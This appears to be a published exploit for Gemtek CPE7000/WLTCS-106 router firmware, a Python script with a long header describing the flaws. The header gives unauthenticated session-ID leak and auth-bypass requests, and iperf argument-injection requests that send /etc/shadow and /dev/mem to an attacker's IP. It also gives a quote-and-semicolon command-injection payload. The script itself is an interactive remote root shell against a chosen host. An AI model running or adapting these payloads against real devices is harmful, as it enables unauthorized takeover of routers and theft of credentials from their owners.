223 lines
No EOL
8 KiB
Python
Executable file
223 lines
No EOL
8 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
'''
|
|
# Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities
|
|
# Date: 04/06/2016
|
|
# Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
|
|
# Vendor Homepage: gemtek.com.tw
|
|
# Version: Firmware Version 01.01.02.082
|
|
# Tested on:
|
|
# Product Name : CPE7000
|
|
# Model ID : WLTCS-106
|
|
# Hardware Version : V02A
|
|
# Firmware Version : 01.01.02.082
|
|
|
|
1) SID leak / auth bypass
|
|
The sysconfg cgi application leaks a valid "SID" (session id) when the
|
|
following unauthenticated request is made:
|
|
Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1
|
|
|
|
The response body has the form: <checkcode>,<sid>
|
|
Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ
|
|
|
|
The sid thus obtained can be used to "unlock" the cliend-side administration
|
|
interface and/or to directly issue request that are usually restricted to
|
|
administrative accounts.
|
|
|
|
POCs:
|
|
|
|
I) Unauthenticated remote reboot:
|
|
Request:
|
|
/cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID>
|
|
|
|
II) Web admin interface access. Add a new cookie with the following values:
|
|
userlevel=2
|
|
sid=<sid>
|
|
|
|
--------------------------------------------------------------------------------
|
|
|
|
2) Arbitrary file download - with root privileges - via iperf tool
|
|
One of the diagnostic tools available on the device can be used to read an
|
|
arbitrary file on the device. The sysconfg cgi application fails to sanitize
|
|
user input, allowing an attacker to hijack the command issued to the "iperf"
|
|
binary, a commonly-used network testing tool that can create TCP and UDP data
|
|
streams and measure the throughput of a network that is carrying them.
|
|
|
|
The client-side validation can be easily bypassed by changing the javascript
|
|
validation code, or by directly sending a forged request to the server.
|
|
The iperf tool is run with the -c switch, meaning that it is behaving as a
|
|
client that sends data to a server. By adding the -F parameter, iperf is forced
|
|
to read data from a file instead of generating random data to be sent during the
|
|
measurement.
|
|
|
|
This attack needs 2 step in order to take advantage of the vulnerability.
|
|
The first request sets up the command be to run, the second one (a.k.a. toggle)
|
|
actually runs the command (check the response body, 1 means running, 0 means stopped).
|
|
|
|
The following "SETUP" request can be used to set the correct parameters:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
|
|
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
|
|
test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&
|
|
perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO
|
|
FILE>
|
|
|
|
Parameters breakdown:
|
|
XXX.XXX.XXX.XXX = attacker ip
|
|
YYYY = attacker listening port
|
|
zz = time limit
|
|
Note: nc is enough to capture data, which may be sent with some additional
|
|
header and footer introduced by iperf's protocol
|
|
|
|
In order to run iperf, the following "TOGGLE" (run/stop) request must be sent:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
|
|
|
|
|
|
POCs:
|
|
I) download of /etc/shadow
|
|
SETUP REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
|
|
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
|
|
test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p
|
|
erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow
|
|
|
|
RUN/STOP(Toggle) REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
|
|
|
|
|
|
II) download of device physical memory (/dev/mem) with increased perf_measure_test_time:
|
|
SETUP REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
|
|
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
|
|
test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024
|
|
&perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem
|
|
|
|
RUN/STOP(Toggle) REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
|
|
|
|
--------------------------------------------------------------------------------
|
|
|
|
3) Unauthenticated remote root command execution
|
|
The same vulnerability can be used to issue an arbitrary command on the device.
|
|
The command executed on the system to run the diagnostic tool is constructed
|
|
using the sprintf function and the following format string, with no additional
|
|
checks:
|
|
|
|
iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &
|
|
|
|
It is therefore possible to insert another command by injecting it in the
|
|
"perf_measure_server_ip" parameter and commenting out the rest of the original
|
|
command.
|
|
|
|
To concatenate a command, the string in the first half before the injection
|
|
point ( iperf -c " ) must be correctly closed with quotes ( " ).
|
|
Then the new command can be added, preceded by a semicolon ( ; ).
|
|
Finally, the other part of the original command after the "injection point"
|
|
must be commented out ( # ).
|
|
|
|
iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &
|
|
|
|
|
|
SETUP REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
|
|
p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p
|
|
ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac
|
|
ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1
|
|
|
|
RUN/STOP(Toggle) REQUEST:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
|
|
|
|
|
|
POC (echo test > /www/test):
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
|
|
p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555
|
|
&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type
|
|
=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_
|
|
client_num=1
|
|
|
|
and toggle:
|
|
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle
|
|
|
|
--------------------------------------------------------------------------------
|
|
|
|
Remediation:
|
|
Disable wan access to the management web interface until an updated firmware is released.
|
|
|
|
More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html
|
|
'''
|
|
|
|
#Gemtek CPE7000 / WLTCS-106 remote root command execution
|
|
#Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
|
|
# Tested on:
|
|
# Product Name : CPE7000
|
|
# Model ID : WLTCS-106
|
|
# Hardware Version : V02A
|
|
# Firmware Version : 01.01.02.082
|
|
|
|
import httplib
|
|
import ssl
|
|
import urllib
|
|
import time
|
|
import sys
|
|
import getopt
|
|
import socket
|
|
|
|
ssl._create_default_https_context = ssl._create_unverified_context
|
|
|
|
host=''
|
|
port = 443
|
|
|
|
def check():
|
|
try:
|
|
conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10)
|
|
conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start¬run=1")
|
|
r1 = conn.getresponse()
|
|
if r1.status != 200:
|
|
return False
|
|
return True
|
|
except socket.error as msg:
|
|
print "Cannot connect";
|
|
sys.exit();
|
|
|
|
|
|
def sendcmd( cmd ):
|
|
resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #'
|
|
urlencoded = urllib.quote_plus(resource)
|
|
cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1"
|
|
res = makereq (cmdresource)
|
|
res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
|
|
if(res!="1"):
|
|
res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
|
|
time.sleep(1)
|
|
res = makereq ("/cmdoutput.txt")
|
|
print res
|
|
|
|
|
|
def makereq (resource):
|
|
conn = httplib.HTTPSConnection(host +":"+str(port))
|
|
conn.request("GET", resource)
|
|
r1 = conn.getresponse()
|
|
body = r1.read()
|
|
return body
|
|
|
|
|
|
if len(sys.argv) < 2:
|
|
print 'GemtekShell.py <host> [<port> (443)]'
|
|
exit()
|
|
elif len(sys.argv) > 2:
|
|
port = sys.argv[2]
|
|
|
|
host = sys.argv[1]
|
|
|
|
print 'Connecting to ', host, port
|
|
|
|
if not check() :
|
|
print "Host seems not vulnerable"
|
|
sys.exit()
|
|
|
|
|
|
while(1):
|
|
cmd = raw_input("gemtekCMD> ")
|
|
if cmd.strip() != "quit" :
|
|
sendcmd(cmd)
|
|
else :
|
|
sys.exit() |